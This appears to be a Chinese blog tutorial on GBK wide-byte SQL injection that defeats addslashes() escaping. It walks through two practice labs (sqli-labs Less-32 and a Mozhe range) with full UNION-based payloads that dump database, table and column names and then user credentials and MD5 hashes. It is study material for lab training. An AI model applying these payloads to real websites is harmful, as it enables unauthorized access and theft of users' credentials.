MySQL-宽字节注入

1.函数

addslashes()函数:

在指定的预定义字符前添加上反斜杠。这些预定义字符指的是

单引号('),双引号("),反斜线(/),NUL(Null字符)

作用就是阉割掉这些字符的功能,在前面上一个\反斜线,比如说单引号'

被addslashes()函数过滤后就变成了\'。转换成了实体的字符,没有了功能。

当写入或查询的用户名'1'',数据库则会识别单引号'为闭合符号,要求在输入一个单引号进行闭合,指查询'1'而没办法查询'1''

如果输入'1\'',\使'失去闭合功能,则数据会识别'1''

 


 2.GBKB编码

 

我们在'号前面输入一个%df就可以进行绕过 

 

本来你输入的?id=1'他就会自动转义成了?id=1\',但是在\的编码是%5c

如果你在前面输入一个%df他就会变成%df5c,那么%df5c他就会被解析成一个字符

那么%df和%5c是从哪里来的呢?

%df是我们手工输入进去的

%5c是使用addslashes()这个函数他自动在'号前加上的\,而这个\就是%5c

那么%df和%5c放在一起,他们就会符合一个GBKB的编码方式

%df的第五个,第c个正好组成一个汉字。

这样一来,他就把这个\失去他注释掉'单引号的功能 

 

本来这个\是要把我们单引号的功能给注释掉的。

举个例子本来\要去找'一起玩,玩着玩着就把'单引号的功能给玩掉了 

 

但是我们现在在他'单引号的前面手动加了一个%df,当addslashes()这个函数他自己在我们'单引号的前面添加上这个\符号之后,正好这个符号的编码是%5c,这实话\就不能拉着这个'单引号一起去玩了。而是被%df拉着%5c去玩了

那么就变成了%df%5c一起玩了,'单引号自己玩。这样就成功绕过过滤了


3.宽字节绕过 

宽字节绕过前提条件:

要求对方的编码方式也是GBK编码,并且发出请求时声明客户端用的也是GBK编码

4.案例演示 

(1) sqli-labs-master/Less-32

1.判断闭合方式并且确定是否有注入点

?id=1%df' and 1=2 --+

?id=1%df') and 1=2 --+
?id=1%df" and 1=2 --+

?id=1%df") and 1=2 --+

测试到?id=1%df' and 1=2 --+ 页面报错 确定存在注入点 

 

 当我们在测试过所有闭合符号的时候页面依旧不进行回显

使用%df进行闭合方式的测试

url: ?id=1%df'

页面报错

''1�\'' LIMIT 0,1' at line 1

'1�\'' LIMIT 0,1

确定闭合方式为单引号闭合

url: ?id=1%df' --+

使用--+把后面的代码注释掉

页面回显正常

url ?id=1%df' and 1=1--+

使用and 1=1进行测试页面回显正常

url:?id=1%df' and 1=2 --+

用and 1=2进行测试页面报错 ,确定存在注入点 

2.确定字段数 

?id=1%df' order by 3--+

 

 url:?id=1%df' order by 4--+

当测试到第四个字段的时候页面报错。

url: ?id=1%df' order by 3 --+ 

当测试到第三个字段的时候页面回显正常 

3.确定回显位 

?id=1%df' union select 1,2,3 --+

 

确定回显在页面的字段为

2.3 

4.获取数据库名

?id=-1%df' union select 1,(database()),3--+

 

确定数据库名为Securiry 

5.获取数据表名

?id=-1%df' union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema=database())--+

 emails,referers,uagents,users

6.获取字段(列)

?id=-1%df' union select 1,2,(select group_concat(column_name)from information_Schema.columns where table_schema=database() and table_name=0x7573657273)--+

注意:0x代表的是16进制,因为我们在正常测试的时候一般table_name='users'会这么去写

但是addslashes()在这里也把我们输入的''这两个单引号也进去过滤了,所以我们需要把我们的表名转换成16进制的格式,并且在前面加上0x的固定写法。

0x:代表16进制

7573657273:代表users

 

 id

username

password

字段

HEX转字符 十六进制转字符 hex gb2312 gbk utf8 汉字内码转换 - The X 在线工具 

7.拖库 

?id=-1%df' union select 1,2,(select group_concat(username,0x7e,password)from security.users)--+

0x:代表16进制

7e:~ 号

这里的0x7e主要就是我们进行拼接的符号

 


(2)墨者靶场(宽字节注入) 

1.确定闭合方式,判断是否存在注入点

?id=1%df' and 1=2 --+

url:?id=1%df' and 1=1 --+

页面正常回显 

?id=1%df' and 1=2--+ 

页面报错

确定存在注入

2.确定字段数

?id=1%df' order by 5 --+

 

url:?id=1%df' order by 5 --+ 

页面正常回显

 url:?id=1%df' order by 6 --+

页面报错

确定一共5个字段 

3.确定回显 位

?id=-1%df' union select 1,2,3,4,5  --+

确定回显字段为3,5 

4.获取数据库名

?id=-1%df' union select  1,2,3,4,(database())--+

 

url:?id=-1%df' union select 1,2,3,4,(database()) --+

确定当前数据库为 

mozhe_discuz_stormgroup

5.获取数据表

?id=-1%df' union select 1,2,3,4,(select group_concat(table_name)from  information_schema.tables where table_Schema=database())--+

 

当前数据表为 

notice,stormgroup_member

6.获取字段(列 )信息

id=-1%df' union select 1,2,3,4,(select group_concat(column_name)from  information_schema.columns where table_schema=database() and table_name=0x7374
6F726D67726F75705F6D656D626572 )--+

0x:代表16进制固定写法

73746F726D67726F75705F6D656D626572:stormgroup_member

这里注意的是不管是在上面的sqlibas的测试还是这里的测试,你在将表名进行16进制转换的时候直接对表名进行转换,不要带双引号或者在单引号进去转换

 

 name,password,status

7.拖库

?id=-1%df' union select 1,2,3,4,(select group_concat(name,0x7e,password)from mozhe_discuz_stormgroup
.stormgroup_member)--+

0x:16进制固定写法

7e:~ 

 

 mozhe~3114b433dece9180717f2b7de56b28a3,

mozhe~aec5684b03c7c59a55bf958c2f3320e7

这里一共两个账号,使用的是md5的加密方式。拿去解密登陆一下就行了

猜你喜欢

转载自blog.csdn.net/m0_72755466/article/details/130126921
今日推荐